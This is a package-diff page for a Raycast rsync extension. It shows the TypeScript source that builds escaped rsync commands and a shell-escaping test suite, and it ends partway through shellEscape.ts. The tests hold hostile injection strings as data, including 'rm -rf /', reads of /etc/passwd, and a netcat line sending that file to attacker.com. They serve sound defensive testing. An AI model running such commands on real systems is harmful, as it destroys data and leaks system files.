raycast-rsync-extension 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.eslintrc.js +18 -0
- package/.github/PULL_REQUEST_TEMPLATE.md +14 -0
- package/.github/dependabot.yml +35 -0
- package/.github/workflows/ci.yml +105 -0
- package/.github/workflows/publish.yml +269 -0
- package/.github/workflows/update-copyright-year.yml +70 -0
- package/CHANGELOG.md +7 -0
- package/LICENSE +21 -0
- package/README.md +81 -0
- package/assets/icon.png +0 -0
- package/eslint.config.js +23 -0
- package/metadata/browse-remote-path.png +0 -0
- package/metadata/browse-remote.png +0 -0
- package/metadata/download-local-path.png +0 -0
- package/metadata/download-remote-path.png +0 -0
- package/metadata/extension.png +0 -0
- package/metadata/upload-local-path.png +0 -0
- package/metadata/upload-remote-path.png +0 -0
- package/metadata/upload-search-host.png +0 -0
- package/package.json +93 -0
- package/src/__mocks__/raycast-api.ts +84 -0
- package/src/browse.tsx +378 -0
- package/src/components/FileList.test.tsx +73 -0
- package/src/components/FileList.tsx +61 -0
- package/src/download.tsx +353 -0
- package/src/e2e/browse.e2e.test.ts +295 -0
- package/src/e2e/download.e2e.test.ts +193 -0
- package/src/e2e/error-handling.e2e.test.ts +292 -0
- package/src/e2e/rsync-options.e2e.test.ts +348 -0
- package/src/e2e/upload.e2e.test.ts +207 -0
- package/src/index.tsx +21 -0
- package/src/test-setup.ts +1 -0
- package/src/types/server.ts +60 -0
- package/src/upload.tsx +404 -0
- package/src/utils/__tests__/sshConfig.test.ts +352 -0
- package/src/utils/__tests__/validation.test.ts +139 -0
- package/src/utils/preferences.ts +24 -0
- package/src/utils/rsync.test.ts +490 -0
- package/src/utils/rsync.ts +517 -0
- package/src/utils/shellEscape.test.ts +98 -0
- package/src/utils/shellEscape.ts +36 -0
- package/src/utils/ssh.test.ts +209 -0
- package/src/utils/ssh.ts +187 -0
- package/src/utils/sshConfig.test.ts +191 -0
- package/src/utils/sshConfig.ts +212 -0
- package/src/utils/validation.test.ts +224 -0
- package/src/utils/validation.ts +115 -0
- package/tsconfig.json +27 -0
- package/vitest.config.ts +8 -0
|
@@ -0,0 +1,517 @@
|
|
|
1
|
+
import { exec } from "child_process";
|
|
2
|
+
import { spawn } from "child_process";
|
|
3
|
+
import { promisify } from "util";
|
|
4
|
+
import { homedir } from "os";
|
|
5
|
+
import { join } from "path";
|
|
6
|
+
import { statSync } from "fs";
|
|
7
|
+
import {
|
|
8
|
+
TransferOptions,
|
|
9
|
+
TransferDirection,
|
|
10
|
+
RsyncResult,
|
|
11
|
+
RsyncOptions,
|
|
12
|
+
} from "../types/server";
|
|
13
|
+
import { shellEscape } from "./shellEscape";
|
|
14
|
+
|
|
15
|
+
const execAsync = promisify(exec);
|
|
16
|
+
|
|
17
|
+
/**
|
|
18
|
+
* Builds rsync flags string from options
|
|
19
|
+
* @param options - Rsync options
|
|
20
|
+
* @returns String of rsync flags
|
|
21
|
+
*/
|
|
22
|
+
function buildRsyncFlags(options?: RsyncOptions): string {
|
|
23
|
+
const shortFlags: string[] = ["a", "v", "z"]; // Base flags: archive, verbose, compress
|
|
24
|
+
|
|
25
|
+
if (options?.humanReadable) {
|
|
26
|
+
shortFlags.push("h"); // Human-readable file sizes
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
if (options?.progress) {
|
|
30
|
+
shortFlags.push("P"); // Progress and partial transfers (equivalent to --partial --progress)
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Combine short flags into a single -flag string
|
|
34
|
+
const flags = `-${shortFlags.join("")}`;
|
|
35
|
+
|
|
36
|
+
// Add long-form flags
|
|
37
|
+
const longFlags: string[] = [];
|
|
38
|
+
if (options?.delete) {
|
|
39
|
+
longFlags.push("--delete"); // Delete extraneous files from destination
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
return longFlags.length > 0 ? `${flags} ${longFlags.join(" ")}` : flags;
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
/**
|
|
46
|
+
* Expands tilde (~) to home directory path
|
|
47
|
+
* @param path - The path that may contain ~
|
|
48
|
+
* @returns Path with ~ expanded to home directory
|
|
49
|
+
*/
|
|
50
|
+
function expandHomeDir(path: string): string {
|
|
51
|
+
if (path.startsWith("~/")) {
|
|
52
|
+
return join(homedir(), path.slice(2));
|
|
53
|
+
}
|
|
54
|
+
if (path === "~") {
|
|
55
|
+
return homedir();
|
|
56
|
+
}
|
|
57
|
+
return path;
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
/**
|
|
61
|
+
* Normalizes a path by removing trailing slash
|
|
62
|
+
* @param path - The path to normalize
|
|
63
|
+
* @returns Path without trailing slash
|
|
64
|
+
*/
|
|
65
|
+
function removeTrailingSlash(path: string): string {
|
|
66
|
+
return path.endsWith("/") && path !== "/" ? path.slice(0, -1) : path;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
/**
|
|
70
|
+
* Normalizes a destination path by ensuring it ends with a trailing slash
|
|
71
|
+
* This ensures rsync creates the source directory inside the destination
|
|
72
|
+
* @param path - The destination path to normalize
|
|
73
|
+
* @returns Path with trailing slash
|
|
74
|
+
*/
|
|
75
|
+
function ensureTrailingSlash(path: string): string {
|
|
76
|
+
return path.endsWith("/") ? path : `${path}/`;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
/**
|
|
80
|
+
* Normalizes paths for rsync to ensure directories are copied as directories
|
|
81
|
+
* For upload: if localPath is a directory, remove trailing slash from source and add to destination
|
|
82
|
+
* For download: add trailing slash to localPath destination to ensure remote directory is created inside
|
|
83
|
+
* @param options - Transfer options
|
|
84
|
+
* @returns Normalized paths
|
|
85
|
+
*/
|
|
86
|
+
function normalizePathsForRsync(options: TransferOptions): {
|
|
87
|
+
normalizedLocalPath: string;
|
|
88
|
+
normalizedRemotePath: string;
|
|
89
|
+
} {
|
|
90
|
+
const { localPath, remotePath, direction } = options;
|
|
91
|
+
|
|
92
|
+
// Expand ~ in local paths (for both upload and download)
|
|
93
|
+
const expandedLocalPath = expandHomeDir(localPath);
|
|
94
|
+
|
|
95
|
+
if (direction === TransferDirection.UPLOAD) {
|
|
96
|
+
// For upload, check if localPath is a directory
|
|
97
|
+
try {
|
|
98
|
+
const stats = statSync(expandedLocalPath);
|
|
99
|
+
if (stats.isDirectory()) {
|
|
100
|
+
// Source directory: remove trailing slash (if present) to copy directory itself
|
|
101
|
+
// Destination: ensure trailing slash to create source directory inside destination
|
|
102
|
+
return {
|
|
103
|
+
normalizedLocalPath: removeTrailingSlash(expandedLocalPath),
|
|
104
|
+
normalizedRemotePath: ensureTrailingSlash(remotePath),
|
|
105
|
+
};
|
|
106
|
+
}
|
|
107
|
+
} catch (error) {
|
|
108
|
+
// If we can't stat the path, proceed with original paths
|
|
109
|
+
// This could happen if the path doesn't exist yet (shouldn't happen after validation)
|
|
110
|
+
console.warn("Could not stat local path, using original paths:", error);
|
|
111
|
+
}
|
|
112
|
+
// For files, use paths as-is (but with ~ expanded)
|
|
113
|
+
return {
|
|
114
|
+
normalizedLocalPath: expandedLocalPath,
|
|
115
|
+
normalizedRemotePath: remotePath,
|
|
116
|
+
};
|
|
117
|
+
} else {
|
|
118
|
+
// For download, we can't check if remotePath is a directory without SSH access
|
|
119
|
+
// But we can ensure the local destination has a trailing slash
|
|
120
|
+
// This will make rsync create the remote directory inside the local destination
|
|
121
|
+
// Remove trailing slash from remote path (if present) to copy directory itself
|
|
122
|
+
// Add trailing slash to local path to ensure remote directory is created inside
|
|
123
|
+
return {
|
|
124
|
+
normalizedLocalPath: ensureTrailingSlash(expandedLocalPath),
|
|
125
|
+
normalizedRemotePath: removeTrailingSlash(remotePath),
|
|
126
|
+
};
|
|
127
|
+
}
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
/**
|
|
131
|
+
* Builds an rsync command string based on transfer options
|
|
132
|
+
* @param options - Transfer options including direction, paths, and host config
|
|
133
|
+
* @returns The constructed rsync command string
|
|
134
|
+
*/
|
|
135
|
+
export function buildRsyncCommand(options: TransferOptions): string {
|
|
136
|
+
const { hostConfig, direction, rsyncOptions } = options;
|
|
137
|
+
const configPath = join(homedir(), ".ssh", "config");
|
|
138
|
+
const hostAlias = hostConfig.host;
|
|
139
|
+
|
|
140
|
+
// Normalize paths to ensure directories are copied as directories
|
|
141
|
+
const { normalizedLocalPath, normalizedRemotePath } =
|
|
142
|
+
normalizePathsForRsync(options);
|
|
143
|
+
|
|
144
|
+
// Build rsync flags
|
|
145
|
+
const flags = buildRsyncFlags(rsyncOptions);
|
|
146
|
+
|
|
147
|
+
// Escape all user-provided inputs to prevent command injection
|
|
148
|
+
const escapedLocalPath = shellEscape(normalizedLocalPath);
|
|
149
|
+
const escapedRemotePath = shellEscape(normalizedRemotePath);
|
|
150
|
+
const escapedHostAlias = shellEscape(hostAlias);
|
|
151
|
+
|
|
152
|
+
// Escape the SSH command for the -e flag
|
|
153
|
+
// configPath comes from homedir() so it's safe, but we escape the whole command for consistency
|
|
154
|
+
const escapedSshCommand = shellEscape(`ssh -F ${configPath}`);
|
|
155
|
+
|
|
156
|
+
// Base command with SSH config
|
|
157
|
+
// -e: specify SSH command with config file
|
|
158
|
+
const baseCommand = `rsync -e ${escapedSshCommand} ${flags}`;
|
|
159
|
+
|
|
160
|
+
if (direction === TransferDirection.UPLOAD) {
|
|
161
|
+
// Upload: rsync -e "ssh -F ~/.ssh/config" [flags] {localPath} {hostAlias}:{remotePath}
|
|
162
|
+
// Escape all user-provided paths to prevent command injection
|
|
163
|
+
return `${baseCommand} ${escapedLocalPath} ${escapedHostAlias}:${escapedRemotePath}`;
|
|
164
|
+
} else {
|
|
165
|
+
// Download: rsync -e "ssh -F ~/.ssh/config" [flags] {hostAlias}:{remotePath} {localPath}
|
|
166
|
+
// Escape all user-provided paths to prevent command injection
|
|
167
|
+
return `${baseCommand} ${escapedHostAlias}:${escapedRemotePath} ${escapedLocalPath}`;
|
|
168
|
+
}
|
|
169
|
+
}
|
|
170
|
+
|
|
171
|
+
/**
|
|
172
|
+
* Parse error output to provide user-friendly error messages
|
|
173
|
+
* @param error - The error object from exec
|
|
174
|
+
* @returns User-friendly error message
|
|
175
|
+
*/
|
|
176
|
+
function parseRsyncError(error: {
|
|
177
|
+
stderr?: string;
|
|
178
|
+
message?: string;
|
|
179
|
+
killed?: boolean;
|
|
180
|
+
signal?: string;
|
|
181
|
+
code?: number;
|
|
182
|
+
}): string {
|
|
183
|
+
const stderr = error.stderr || "";
|
|
184
|
+
const message = error.message || "";
|
|
185
|
+
const combinedError = `${stderr} ${message}`.toLowerCase();
|
|
186
|
+
|
|
187
|
+
// Log detailed error for debugging
|
|
188
|
+
console.error("Rsync Error Details:", {
|
|
189
|
+
code: error.code,
|
|
190
|
+
signal: error.signal,
|
|
191
|
+
stderr: error.stderr,
|
|
192
|
+
message: error.message,
|
|
193
|
+
});
|
|
194
|
+
|
|
195
|
+
// Connection timeout
|
|
196
|
+
if (error.killed && error.signal === "SIGTERM") {
|
|
197
|
+
return "Connection timed out after 5 minutes. The server may be unreachable or the transfer is taking too long.";
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// Authentication failures
|
|
201
|
+
if (
|
|
202
|
+
combinedError.includes("permission denied") &&
|
|
203
|
+
combinedError.includes("publickey")
|
|
204
|
+
) {
|
|
205
|
+
return "Authentication failed: SSH key not accepted. Check your SSH key configuration.";
|
|
206
|
+
}
|
|
207
|
+
if (combinedError.includes("permission denied")) {
|
|
208
|
+
return "Authentication failed: Permission denied. Check your credentials and SSH configuration.";
|
|
209
|
+
}
|
|
210
|
+
if (combinedError.includes("host key verification failed")) {
|
|
211
|
+
return "Host key verification failed. You may need to add the host to your known_hosts file.";
|
|
212
|
+
}
|
|
213
|
+
if (combinedError.includes("no such identity")) {
|
|
214
|
+
return "SSH key file not found. Check the IdentityFile path in your SSH config.";
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
// Connection issues
|
|
218
|
+
if (combinedError.includes("connection refused")) {
|
|
219
|
+
return "Connection refused: The server is not accepting connections on the specified port.";
|
|
220
|
+
}
|
|
221
|
+
if (
|
|
222
|
+
combinedError.includes("connection timed out") ||
|
|
223
|
+
combinedError.includes("operation timed out")
|
|
224
|
+
) {
|
|
225
|
+
return "Connection timed out: Unable to reach the server. Check your network connection and server address.";
|
|
226
|
+
}
|
|
227
|
+
if (combinedError.includes("no route to host")) {
|
|
228
|
+
return "No route to host: The server address is unreachable. Check the hostname or IP address.";
|
|
229
|
+
}
|
|
230
|
+
if (combinedError.includes("could not resolve hostname")) {
|
|
231
|
+
return "Could not resolve hostname: The server address is invalid or DNS lookup failed.";
|
|
232
|
+
}
|
|
233
|
+
if (combinedError.includes("network is unreachable")) {
|
|
234
|
+
return "Network is unreachable: Check your internet connection.";
|
|
235
|
+
}
|
|
236
|
+
|
|
237
|
+
// File/directory issues
|
|
238
|
+
if (combinedError.includes("no such file or directory")) {
|
|
239
|
+
return "File not found: The specified file or directory does not exist on the remote server.";
|
|
240
|
+
}
|
|
241
|
+
if (combinedError.includes("is a directory")) {
|
|
242
|
+
return "Target is a directory: Use a directory path or ensure the path ends with a slash.";
|
|
243
|
+
}
|
|
244
|
+
if (combinedError.includes("not a directory")) {
|
|
245
|
+
return "Target is not a directory: The destination path must be a directory.";
|
|
246
|
+
}
|
|
247
|
+
if (
|
|
248
|
+
combinedError.includes("permission denied") &&
|
|
249
|
+
!combinedError.includes("publickey")
|
|
250
|
+
) {
|
|
251
|
+
return "Permission denied: You do not have permission to access the file or directory on the remote server.";
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
// Disk space issues
|
|
255
|
+
if (combinedError.includes("no space left on device")) {
|
|
256
|
+
return "No space left on device: The destination has insufficient disk space.";
|
|
257
|
+
}
|
|
258
|
+
if (combinedError.includes("disk quota exceeded")) {
|
|
259
|
+
return "Disk quota exceeded: You have exceeded your disk quota on the remote server.";
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
// Generic fallback with sanitized message
|
|
263
|
+
const sanitizedMessage = stderr || message || "Unknown error occurred";
|
|
264
|
+
return `Transfer failed: ${sanitizedMessage}`;
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
/**
|
|
268
|
+
* Parses rsync progress line to extract progress information
|
|
269
|
+
* @param line - Progress line from rsync output
|
|
270
|
+
* @returns Formatted progress message or null
|
|
271
|
+
*/
|
|
272
|
+
function parseProgressLine(line: string): string | null {
|
|
273
|
+
// rsync -P output format: " 1,234,567 67% 123.45kB/s 0:00:05"
|
|
274
|
+
// or: "file.txt\n 1,234,567 67% 123.45kB/s 0:00:05"
|
|
275
|
+
const progressMatch = line.match(
|
|
276
|
+
/(\d{1,3}(?:,\d{3})*)\s+(\d+)%\s+([\d.]+[KMGT]?B\/s)\s+(\d+:\d{2}:\d{2})/,
|
|
277
|
+
);
|
|
278
|
+
|
|
279
|
+
if (progressMatch) {
|
|
280
|
+
const [, , percent, speed, time] = progressMatch;
|
|
281
|
+
return `${percent}% • ${speed} • ${time} remaining`;
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
// Look for summary lines with speedup
|
|
285
|
+
if (line.includes("speedup")) {
|
|
286
|
+
return line.trim();
|
|
287
|
+
}
|
|
288
|
+
|
|
289
|
+
return null;
|
|
290
|
+
}
|
|
291
|
+
|
|
292
|
+
/**
|
|
293
|
+
* Executes an rsync command and returns the result
|
|
294
|
+
* @param options - Transfer options including direction, paths, and host config
|
|
295
|
+
* @param onProgress - Optional callback function to receive real-time progress updates
|
|
296
|
+
* @returns Promise resolving to RsyncResult with success status and message
|
|
297
|
+
*/
|
|
298
|
+
export async function executeRsync(
|
|
299
|
+
options: TransferOptions,
|
|
300
|
+
onProgress?: (message: string) => void,
|
|
301
|
+
): Promise<RsyncResult> {
|
|
302
|
+
const command = buildRsyncCommand(options);
|
|
303
|
+
const isProgressEnabled = options.rsyncOptions?.progress;
|
|
304
|
+
|
|
305
|
+
// If progress is enabled and callback provided, use spawn for real-time updates
|
|
306
|
+
if (isProgressEnabled && onProgress) {
|
|
307
|
+
return executeRsyncWithProgress(options, onProgress);
|
|
308
|
+
}
|
|
309
|
+
|
|
310
|
+
// Otherwise use exec for simpler execution
|
|
311
|
+
try {
|
|
312
|
+
// Execute with 5 minute timeout (300000 ms)
|
|
313
|
+
const { stdout, stderr } = await execAsync(command, {
|
|
314
|
+
timeout: 300000,
|
|
315
|
+
});
|
|
316
|
+
|
|
317
|
+
// Success if no error thrown
|
|
318
|
+
// Format output message to show key information
|
|
319
|
+
let outputMessage = "Transfer completed successfully";
|
|
320
|
+
|
|
321
|
+
if (stdout) {
|
|
322
|
+
const lines = stdout.trim().split("\n");
|
|
323
|
+
|
|
324
|
+
// Extract summary line (usually the last line with total stats)
|
|
325
|
+
const summaryLine = lines[lines.length - 1];
|
|
326
|
+
|
|
327
|
+
// If using -P (progress), look for progress lines
|
|
328
|
+
const progressLines = lines.filter(
|
|
329
|
+
(line) =>
|
|
330
|
+
line.includes("%") ||
|
|
331
|
+
line.includes("speedup") ||
|
|
332
|
+
line.includes("sent"),
|
|
333
|
+
);
|
|
334
|
+
|
|
335
|
+
// If using -h (human-readable), look for file size info
|
|
336
|
+
const fileInfoLines = lines.filter(
|
|
337
|
+
(line) =>
|
|
338
|
+
line.match(/\d+[KMGT]?B/) || // Matches sizes like 1.5M, 500K, etc.
|
|
339
|
+
line.includes("files") ||
|
|
340
|
+
line.includes("bytes"),
|
|
341
|
+
);
|
|
342
|
+
|
|
343
|
+
// Prioritize showing summary or progress info
|
|
344
|
+
if (
|
|
345
|
+
summaryLine &&
|
|
346
|
+
(summaryLine.includes("total") || summaryLine.includes("speedup"))
|
|
347
|
+
) {
|
|
348
|
+
outputMessage = summaryLine;
|
|
349
|
+
} else if (progressLines.length > 0) {
|
|
350
|
+
outputMessage = progressLines[progressLines.length - 1];
|
|
351
|
+
} else if (fileInfoLines.length > 0) {
|
|
352
|
+
outputMessage = fileInfoLines[fileInfoLines.length - 1];
|
|
353
|
+
} else if (lines.length > 0) {
|
|
354
|
+
// Show last few lines if no specific format found
|
|
355
|
+
outputMessage = lines.slice(-2).join("\n");
|
|
356
|
+
}
|
|
357
|
+
}
|
|
358
|
+
|
|
359
|
+
return {
|
|
360
|
+
success: true,
|
|
361
|
+
message: outputMessage,
|
|
362
|
+
stdout: stdout || undefined,
|
|
363
|
+
stderr: stderr || undefined,
|
|
364
|
+
};
|
|
365
|
+
} catch (error) {
|
|
366
|
+
const errorObj = error as {
|
|
367
|
+
stdout?: string;
|
|
368
|
+
stderr?: string;
|
|
369
|
+
message?: string;
|
|
370
|
+
killed?: boolean;
|
|
371
|
+
signal?: string;
|
|
372
|
+
code?: number;
|
|
373
|
+
};
|
|
374
|
+
|
|
375
|
+
// Parse error and provide user-friendly message
|
|
376
|
+
const userMessage = parseRsyncError(errorObj);
|
|
377
|
+
|
|
378
|
+
// Include stdout if available (rsync might output useful info even on error)
|
|
379
|
+
const outputMessage = errorObj.stdout
|
|
380
|
+
? `${userMessage}\n\nOutput: ${errorObj.stdout.split("\n").slice(-2).join("\n")}`
|
|
381
|
+
: userMessage;
|
|
382
|
+
|
|
383
|
+
return {
|
|
384
|
+
success: false,
|
|
385
|
+
message: outputMessage,
|
|
386
|
+
stdout: errorObj.stdout || undefined,
|
|
387
|
+
stderr: errorObj.stderr || undefined,
|
|
388
|
+
};
|
|
389
|
+
}
|
|
390
|
+
}
|
|
391
|
+
|
|
392
|
+
/**
|
|
393
|
+
* Executes rsync with real-time progress updates using spawn
|
|
394
|
+
* @param options - Transfer options
|
|
395
|
+
* @param onProgress - Callback function to receive progress updates
|
|
396
|
+
* @returns Promise resolving to RsyncResult
|
|
397
|
+
*/
|
|
398
|
+
async function executeRsyncWithProgress(
|
|
399
|
+
options: TransferOptions,
|
|
400
|
+
onProgress: (message: string) => void,
|
|
401
|
+
): Promise<RsyncResult> {
|
|
402
|
+
// Use the full command string with shell for proper SSH handling
|
|
403
|
+
const fullCommand = buildRsyncCommand(options);
|
|
404
|
+
|
|
405
|
+
return new Promise((resolve) => {
|
|
406
|
+
const stdoutChunks: Buffer[] = [];
|
|
407
|
+
const stderrChunks: Buffer[] = [];
|
|
408
|
+
let lastProgressUpdate = Date.now();
|
|
409
|
+
const progressUpdateInterval = 500; // Update every 500ms to avoid too frequent updates
|
|
410
|
+
|
|
411
|
+
const rsyncProcess = spawn(fullCommand, {
|
|
412
|
+
shell: true,
|
|
413
|
+
});
|
|
414
|
+
|
|
415
|
+
// Set timeout
|
|
416
|
+
const timeout = setTimeout(() => {
|
|
417
|
+
rsyncProcess.kill("SIGTERM");
|
|
418
|
+
resolve({
|
|
419
|
+
success: false,
|
|
420
|
+
message: "Transfer timed out after 5 minutes",
|
|
421
|
+
stdout: Buffer.concat(stdoutChunks as readonly Uint8Array[]).toString(),
|
|
422
|
+
stderr: Buffer.concat(stderrChunks as readonly Uint8Array[]).toString(),
|
|
423
|
+
});
|
|
424
|
+
}, 300000); // 5 minutes
|
|
425
|
+
|
|
426
|
+
rsyncProcess.stdout.on("data", (data: Buffer) => {
|
|
427
|
+
stdoutChunks.push(data);
|
|
428
|
+
const output = data.toString();
|
|
429
|
+
const lines = output.split("\n");
|
|
430
|
+
|
|
431
|
+
// Parse and update progress
|
|
432
|
+
for (const line of lines) {
|
|
433
|
+
const progressMessage = parseProgressLine(line);
|
|
434
|
+
if (progressMessage) {
|
|
435
|
+
const now = Date.now();
|
|
436
|
+
// Throttle progress updates
|
|
437
|
+
if (now - lastProgressUpdate >= progressUpdateInterval) {
|
|
438
|
+
onProgress(progressMessage);
|
|
439
|
+
lastProgressUpdate = now;
|
|
440
|
+
}
|
|
441
|
+
}
|
|
442
|
+
}
|
|
443
|
+
});
|
|
444
|
+
|
|
445
|
+
rsyncProcess.stderr.on("data", (data: Buffer) => {
|
|
446
|
+
stderrChunks.push(data);
|
|
447
|
+
});
|
|
448
|
+
|
|
449
|
+
rsyncProcess.on("close", (code) => {
|
|
450
|
+
clearTimeout(timeout);
|
|
451
|
+
const stdout = Buffer.concat(
|
|
452
|
+
stdoutChunks as readonly Uint8Array[],
|
|
453
|
+
).toString();
|
|
454
|
+
const stderr = Buffer.concat(
|
|
455
|
+
stderrChunks as readonly Uint8Array[],
|
|
456
|
+
).toString();
|
|
457
|
+
|
|
458
|
+
if (code === 0) {
|
|
459
|
+
// Format output message
|
|
460
|
+
let outputMessage = "Transfer completed successfully";
|
|
461
|
+
|
|
462
|
+
if (stdout) {
|
|
463
|
+
const lines = stdout.trim().split("\n");
|
|
464
|
+
const summaryLine = lines[lines.length - 1];
|
|
465
|
+
|
|
466
|
+
if (
|
|
467
|
+
summaryLine &&
|
|
468
|
+
(summaryLine.includes("total") || summaryLine.includes("speedup"))
|
|
469
|
+
) {
|
|
470
|
+
outputMessage = summaryLine;
|
|
471
|
+
} else if (lines.length > 0) {
|
|
472
|
+
outputMessage = lines.slice(-2).join("\n");
|
|
473
|
+
}
|
|
474
|
+
}
|
|
475
|
+
|
|
476
|
+
resolve({
|
|
477
|
+
success: true,
|
|
478
|
+
message: outputMessage,
|
|
479
|
+
stdout: stdout || undefined,
|
|
480
|
+
stderr: stderr || undefined,
|
|
481
|
+
});
|
|
482
|
+
} else {
|
|
483
|
+
const userMessage = parseRsyncError({
|
|
484
|
+
stderr,
|
|
485
|
+
message: `Process exited with code ${code}`,
|
|
486
|
+
code: code ?? undefined,
|
|
487
|
+
});
|
|
488
|
+
|
|
489
|
+
resolve({
|
|
490
|
+
success: false,
|
|
491
|
+
message: userMessage,
|
|
492
|
+
stdout: stdout || undefined,
|
|
493
|
+
stderr: stderr || undefined,
|
|
494
|
+
});
|
|
495
|
+
}
|
|
496
|
+
});
|
|
497
|
+
|
|
498
|
+
rsyncProcess.on("error", (error) => {
|
|
499
|
+
clearTimeout(timeout);
|
|
500
|
+
const userMessage = parseRsyncError({
|
|
501
|
+
stderr: error.message,
|
|
502
|
+
message: error.message,
|
|
503
|
+
});
|
|
504
|
+
|
|
505
|
+
resolve({
|
|
506
|
+
success: false,
|
|
507
|
+
message: userMessage,
|
|
508
|
+
stdout:
|
|
509
|
+
Buffer.concat(stdoutChunks as readonly Uint8Array[]).toString() ||
|
|
510
|
+
undefined,
|
|
511
|
+
stderr:
|
|
512
|
+
Buffer.concat(stderrChunks as readonly Uint8Array[]).toString() ||
|
|
513
|
+
undefined,
|
|
514
|
+
});
|
|
515
|
+
});
|
|
516
|
+
});
|
|
517
|
+
}
|
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { shellEscape, shellEscapeArgs } from "./shellEscape";
|
|
3
|
+
|
|
4
|
+
describe("shellEscape", () => {
|
|
5
|
+
it("should escape simple strings", () => {
|
|
6
|
+
expect(shellEscape("file.txt")).toBe("'file.txt'");
|
|
7
|
+
expect(shellEscape("/path/to/file")).toBe("'/path/to/file'");
|
|
8
|
+
});
|
|
9
|
+
|
|
10
|
+
it("should escape strings with spaces", () => {
|
|
11
|
+
expect(shellEscape("file name.txt")).toBe("'file name.txt'");
|
|
12
|
+
expect(shellEscape("/path with spaces/file")).toBe(
|
|
13
|
+
"'/path with spaces/file'",
|
|
14
|
+
);
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it("should escape strings with single quotes", () => {
|
|
18
|
+
expect(shellEscape("file'name.txt")).toBe("'file'\\''name.txt'");
|
|
19
|
+
expect(shellEscape("path'with'quotes")).toBe("'path'\\''with'\\''quotes'");
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
it("should escape shell metacharacters to prevent injection", () => {
|
|
23
|
+
// Semicolon - command separator
|
|
24
|
+
expect(shellEscape("file; rm -rf /")).toBe("'file; rm -rf /'");
|
|
25
|
+
|
|
26
|
+
// Pipe - command chaining
|
|
27
|
+
expect(shellEscape("file | cat")).toBe("'file | cat'");
|
|
28
|
+
|
|
29
|
+
// Ampersand - background execution
|
|
30
|
+
expect(shellEscape("file & echo done")).toBe("'file & echo done'");
|
|
31
|
+
|
|
32
|
+
// Dollar sign - variable expansion
|
|
33
|
+
expect(shellEscape("file$HOME")).toBe("'file$HOME'");
|
|
34
|
+
|
|
35
|
+
// Backtick - command substitution
|
|
36
|
+
expect(shellEscape("file`whoami`")).toBe("'file`whoami`'");
|
|
37
|
+
|
|
38
|
+
// Parentheses - command grouping
|
|
39
|
+
expect(shellEscape("file(test)")).toBe("'file(test)'");
|
|
40
|
+
|
|
41
|
+
// Redirection
|
|
42
|
+
expect(shellEscape("file > output")).toBe("'file > output'");
|
|
43
|
+
expect(shellEscape("file < input")).toBe("'file < input'");
|
|
44
|
+
|
|
45
|
+
// Multiple metacharacters
|
|
46
|
+
expect(shellEscape("file; rm -rf / | cat &")).toBe(
|
|
47
|
+
"'file; rm -rf / | cat &'",
|
|
48
|
+
);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it("should escape empty string", () => {
|
|
52
|
+
expect(shellEscape("")).toBe("''");
|
|
53
|
+
});
|
|
54
|
+
|
|
55
|
+
it("should handle complex injection attempts", () => {
|
|
56
|
+
const maliciousPaths = [
|
|
57
|
+
"/tmp/test; rm -rf /",
|
|
58
|
+
"/tmp/test | cat /etc/passwd",
|
|
59
|
+
"/tmp/test && echo pwned",
|
|
60
|
+
"/tmp/test || echo pwned",
|
|
61
|
+
"/tmp/test`id`",
|
|
62
|
+
"/tmp/test$(whoami)",
|
|
63
|
+
"/tmp/test; cat /etc/passwd | nc attacker.com 1234",
|
|
64
|
+
];
|
|
65
|
+
|
|
66
|
+
for (const path of maliciousPaths) {
|
|
67
|
+
const escaped = shellEscape(path);
|
|
68
|
+
// All should be wrapped in single quotes
|
|
69
|
+
expect(escaped).toMatch(/^'.*'$/);
|
|
70
|
+
// The original content should be preserved (not executed)
|
|
71
|
+
expect(escaped).toContain(path);
|
|
72
|
+
}
|
|
73
|
+
});
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
describe("shellEscapeArgs", () => {
|
|
77
|
+
it("should escape and join multiple arguments", () => {
|
|
78
|
+
expect(shellEscapeArgs(["file1.txt", "file2.txt"])).toBe(
|
|
79
|
+
"'file1.txt' 'file2.txt'",
|
|
80
|
+
);
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
it("should handle arguments with spaces", () => {
|
|
84
|
+
expect(shellEscapeArgs(["file name.txt", "another file.txt"])).toBe(
|
|
85
|
+
"'file name.txt' 'another file.txt'",
|
|
86
|
+
);
|
|
87
|
+
});
|
|
88
|
+
|
|
89
|
+
it("should handle arguments with metacharacters", () => {
|
|
90
|
+
expect(shellEscapeArgs(["file; rm", "file|cat"])).toBe(
|
|
91
|
+
"'file; rm' 'file|cat'",
|
|
92
|
+
);
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
it("should handle empty array", () => {
|
|
96
|
+
expect(shellEscapeArgs([])).toBe("");
|
|
97
|
+
});
|
|
98
|
+
});
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Shell escaping utilities to prevent command injection vulnerabilities
|
|
3
|
+
*/
|
|
4
|
+
|
|
5
|
+
/**
|
|
6
|
+
* Escapes a string for safe use in shell commands
|
|
7
|
+
* Wraps the string in single quotes and escapes any single quotes within it
|
|
8
|
+
* This is the safest method for POSIX shells (sh, bash, zsh)
|
|
9
|
+
*
|
|
10
|
+
* @param str - The string to escape
|
|
11
|
+
* @returns The escaped string safe for use in shell commands
|
|
12
|
+
*
|
|
13
|
+
* @example
|
|
14
|
+
